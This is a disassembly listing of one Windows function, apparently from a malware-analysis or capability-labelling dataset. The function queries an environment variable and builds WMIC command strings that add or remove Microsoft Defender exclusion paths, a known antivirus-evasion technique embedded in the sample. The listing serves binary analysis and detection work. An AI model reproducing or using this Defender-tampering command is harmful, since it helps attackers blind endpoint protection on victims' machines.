Function at 0x4198df
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
call fcn.00486110
mov edx, dword [esp + 0x18]
lea ecx, [esp]
call fcn.00441000
push edx
call fcn.00485f70
pop edx
push eax
push edx
call fcn.00485f70
pop edx
push eax
push 1
push dword [esp + 0xc]
call fcn.00483e60
call fcn.004860a0
mov edx, 0x55f564
pop ecx
push ecx
call fcn.004416e0
mov ecx, eax
call fcn.00441660
je 0x41995f
push edx
call fcn.00485f70
pop edx
push eax
push edx
call fcn.00485f70
pop edx
push eax
push dword [esp + 8]
call fcn.004837b0
mov ebx, eax
dec ebx
push ebx
push dword [esp + 0xc]
call fcn.00483ee0
lea eax, [esp + 4]
push eax
call fcn.00486010
call fcn.0046a613
mov ebx, eax
cmp ebx, 0x64
jl 0x419b69
push edx
call fcn.00485f70
pop edx
push eax
push edx
call fcn.00485f70
pop edx
push eax
push 0x3e8
call fcn.004835b0
lea eax, [esp + 8]
push eax
call fcn.00486010
push 0x3e8
mov eax, dword [esp + 8]
push eax
mov eax, 0x56e2a4
push eax
call sub.KERNEL32.dll_GetEnvironmentVariableW
mov edx, dword [esp + 4]
push edx
call fcn.00485f70
pop edx
push eax
push edx
call fcn.00485fb0
mov edx, 0x56a4c2
push edx
call fcn.00485fb0
lea eax, [esp + 0xc]
push eax
call fcn.00486010
push edx
call fcn.00485f70
pop edx
push eax
mov edx, dword [esp + 8]
push edx
call fcn.00485f70
pop edx
push eax
push edx
call fcn.00485fb0
mov edx, 0x57611c
push edx
call fcn.00485fb0
call fcn.004416b2
add dword [esp], edx
call fcn.0046c35a
call fcn.004416d0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x419a1a
jl 0x419a16
cmp ebx, 0
ja 0x419a1a
xor eax, eax
jmp 0x419a1f
mov eax, 1
or eax, eax
je 0x419a4c
mov edx, dword [esp + 4]
push edx
call fcn.00485f70
pop edx
push eax
push edx
call fcn.00485fb0
mov edx, 0x5611e4
push edx
call fcn.00485fb0
lea eax, [esp + 8]
push eax
call fcn.00486010
jmp 0x419a73
mov edx, dword [esp + 4]
push edx
call fcn.00485f70
pop edx
push eax
push edx
call fcn.00485fb0
mov edx, 0x56a4c2
push edx
call fcn.00485fb0
lea eax, [esp + 8]
push eax
call fcn.00486010
mov ebx, dword [esp + 0x1c]
and ebx, ebx
jle 0x419af3
push edx
call fcn.00485f70
pop edx
push eax
push 3
push dword [esp + 0x10]
push edx
call fcn.00485f70
pop edx
push eax
mov edx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionPath_
push edx
call fcn.00485fb0
mov edx, dword [esp + 0x10]
push edx
call fcn.00485fb0
mov edx, 0x55e0b4
push edx
call fcn.00485fb0
call fcn.004860a0
mov edx, dword [esp + 0x14]
push edx
call fcn.00485f70
pop edx
push eax
push edx
call fcn.00485fb0
mov edx, 0x57153c
push edx
call fcn.00485fb0
call fcn.004416b2
add dword [esp], edx
call fcn.004416b2
add dword [esp + 4], edx
call fcn.0045dcfe
call fcn.004416d0
jmp 0x419b69
push edx
call fcn.00485f70
pop edx
push eax
push 3
push dword [esp + 0x10]
push edx
call fcn.00485f70
pop edx
push eax
mov edx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Remove_ExclusionPath_
push edx
call fcn.00485fb0
mov edx, dword [esp + 0x10]
push edx
call fcn.00485fb0
mov edx, 0x55e0b4
push edx
call fcn.00485fb0
call fcn.004860a0
mov edx, dword [esp + 0x14]
push edx
call fcn.00485f70
pop edx
push eax
push edx
call fcn.00485fb0
mov edx, 0x57153c
push edx
call fcn.00485fb0
call fcn.004416b2
add dword [esp], edx
call fcn.004416b2
add dword [esp + 4], edx
call fcn.0045dcfe
call fcn.004416d0
xor eax, eax
push dword [esp + 8]
call fcn.00486170
push dword [esp + 4]
call fcn.00486170
push dword [esp]
call fcn.00486170
add esp, 0xc
pop edi
pop ebx
ret 8